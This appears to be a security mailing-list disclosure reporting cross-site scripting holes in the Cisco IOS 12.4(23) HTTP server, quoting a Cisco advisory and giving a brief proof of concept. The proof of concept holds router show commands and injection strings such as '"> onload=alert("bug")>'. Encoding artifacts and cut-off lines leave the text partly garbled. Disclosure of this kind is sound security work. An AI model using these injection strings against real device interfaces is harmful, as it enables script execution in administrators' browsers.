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Cisco IOS XSS/CSRF Vulnerability

Cisco IOS XSS/CSRF Vulnerability
Cisco IOS XSS/CSRF Vulnerability

There was a Cisco Product Security Incident Response Team (PSIRT)=0D
advisory recently concerning some XSS/CSRF holes in the IOS..=0D
Document ID: 98605=0D 
Revision 1.0=0D
For Public Release 2009 January 14 1600 UTC (GMT)=0D
Cisco Response:=0D
"Two separate Cisco IOS=AE Hypertext Transfer Protocol (HTTP) cross-site=0D
scripting (XSS) vulnerabilities have been reported to Cisco [...]=0D
This response covers two separate cross-site scripting vulnerabilities=0D
within the Cisco IOS Hypertext Transfer Protocol (HTTP) server=0D
(including HTTP secure server - here after referred to as purely HTTP=0D
Server) and applies to all Cisco products that run Cisco IOS Software=0D
versions 11.0 through 12.4 with the HTTP server enabled.=0D
According to this advisory these holes were patched in 12.4(15)T8 and=0D
However i found that the Cisco IOS ( 12.4(23) ) HTTP Server is still=0D
prone to multiple cross-site scripting vulnerabilities because it fails=0D
to sufficiently sanitize user-supplied data.=0D
The attacker may leverage these issues to execute arbitrary script code=0D
in the browser of an unsuspecting user in the context of the affected site.=0D
Proof of concept:=0D
furchtbar#sh ver | i IOS=0D
Cisco IOS Software, C2600 Software (C2600-ADVSECURITYK9-M), Version=0D
12.4(23), RELEASE SOFTWARE (fc1)=0D
furchtbar#show ip http server status | include status=0D
HTTP server status: Enabled=0D
HTTP secure server status: Enabled=0D
furchtbar#sh ip int br | i up=0D
FastEthernet0/0       YES NVRAM =0D
up                    up      =0D
=0D"> onload=alert("bug")>=0D"> onload=alert("bug")>=0D 
=0D"> onload="alert('bug');">=0D 
Best Regards,=0D

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